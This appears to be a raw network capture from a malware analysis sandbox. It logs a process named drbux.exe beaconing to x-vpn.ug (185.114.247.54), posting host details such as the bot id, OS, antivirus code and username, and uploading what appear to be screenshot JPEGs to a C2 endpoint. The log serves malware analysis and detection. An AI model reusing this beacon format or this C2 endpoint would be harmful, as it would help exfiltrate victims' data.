Jul 19, 2021 18:36:05.735395908 CEST	13161	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:05.814376116 CEST	13202	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	49748	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:27.092675924 CEST	2181	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:27.092762947 CEST	2181	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:27.092921972 CEST	2191	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:27.093004942 CEST	2194	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:27.171211004 CEST	2194	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:27.171605110 CEST	2197	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:27.171631098 CEST	2200	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:27.171746016 CEST	2202	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:27.172456980 CEST	2205	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:27.172930956 CEST	2208	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:27.173190117 CEST	2211	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:27.175735950 CEST	2217	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.6	49864	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:06.015861988 CEST	13220	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:06.100138903 CEST	13221	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:06.157874107 CEST	13221	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:06.157985926 CEST	13221	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:06.158216953 CEST	13231	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:06.158305883 CEST	13234	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:06.240112066 CEST	13237	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:06.240251064 CEST	13250	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:06.240315914 CEST	13261	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:06.322133064 CEST	13267	OUT	Data Raw: 80 15 7b c7 da bd bd ce a9 6f e1 ad 33 e4 d2 74 74 58 c2 03 c3 be 38 27 d7 8e 73 ea 4f a5 66 da c3 a7 5c e9 17 56 f7 88 c2 42 e8 d1 c8 8d b5 90 00 c0 e0 fe 23 8a e5 85 e7 2e 77 f2 3a 9d a1 1e 54 4b ac 99 bc 50 d0 7f 68 cf 21 48 73 b1 23 c2 ae 4f Data Ascii: {o3ttX8'sOf\VB#.w:TKPh!Hs#Or9xEy iHmyup[]6g /v&]FdhFibOlpN,DgG M>rzvjkI\|W3lQrT:\wZ``(UJN<r(
Jul 19, 2021 18:36:06.322240114 CEST	13285	OUT	Data Raw: 3a 92 97 fc 6a 59 68 70 a9 01 a6 28 e6 9f 8a 86 68 87 03 4f 06 99 4e 15 0c b4 48 29 c2 98 05 3c 73 52 cb 42 d2 8e 94 01 4e 02 a5 96 28 15 e5 9f 14 4e 56 1f fa ee df fa 08 af 53 15 e5 5f 14 7a 41 ff 00 5d 9b ff 00 41 5a d2 8f c4 45 5e 87 90 10 3d Data Ascii: :jYhp(hONH)<sRBN(NVS_zA]AZE^=(J{)y<JxaG&i\ANzfiA"@T`D)AFh0@~TM5,h@=7;!SSAHilzN4U{p=/z
Jul 19, 2021 18:36:06.322266102 CEST	13293	OUT	Data Raw: 7e 95 c9 35 d4 8d d4 d4 66 47 cf 5a a5 85 ee ca f6 93 e8 75 8f ac db 27 40 4d 57 7f 10 01 f7 10 7e 35 cd ee 27 a9 34 95 6b 0d 05 b8 9d 49 f7 36 e4 f1 04 ed 9c 10 2a ab ea d7 0f ff 00 2d 1a b3 e9 6a d5 28 2d 91 0d b7 bb 27 6b b9 5f ab 9a 8c c8 c7 Data Ascii: ~5fGZu'@MW~5'4kI6*-j(-'k_4RQH"E9"xO_VUteux/h&TY0 u$z ZZ{{$/52ylcG6cAXi=MdFf/c160n,skGto
Jul 19, 2021 18:36:06.322367907 CEST	13305	OUT	Data Raw: ba 63 be a1 a7 6a 1a 75 dc 97 d6 b6 96 df 6b 81 a1 8d bc dd e1 89 dc a0 9c 6d 5e 87 bf b8 aa 93 58 68 3a 85 a6 a9 fd 89 fd a2 b3 e9 b1 89 bc cb a9 11 96 ea 30 ea 8c c1 55 01 8c fc c1 80 2c fc 64 67 23 97 ec 70 ed db 97 fa d3 fc c1 63 f1 bb a9 fe Data Ascii: cjukm^Xh:0U,dg#pc_bMrIy}Ksu6w8yjAul3=R9WR\j//hpg7FZ>$Oi#ip#HAbvsI:\LGsct
Jul 19, 2021 18:36:06.497581005 CEST	13319	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Jul 19, 2021 18:36:06.509829044 CEST	13319	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:06.606538057 CEST	13319	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.6	49865	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:06.314884901 CEST	13261	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:06.399458885 CEST	13306	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.6	49866	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:06.793756962 CEST	13320	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:06.793857098 CEST	13321	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:06.794028044 CEST	13331	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:06.794140100 CEST	13333	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:06.892436028 CEST	13339	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:06.892885923 CEST	13342	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:06.892908096 CEST	13345	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:06.893409014 CEST	13350	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:06.893779039 CEST	13353	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:06.894329071 CEST	13354	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
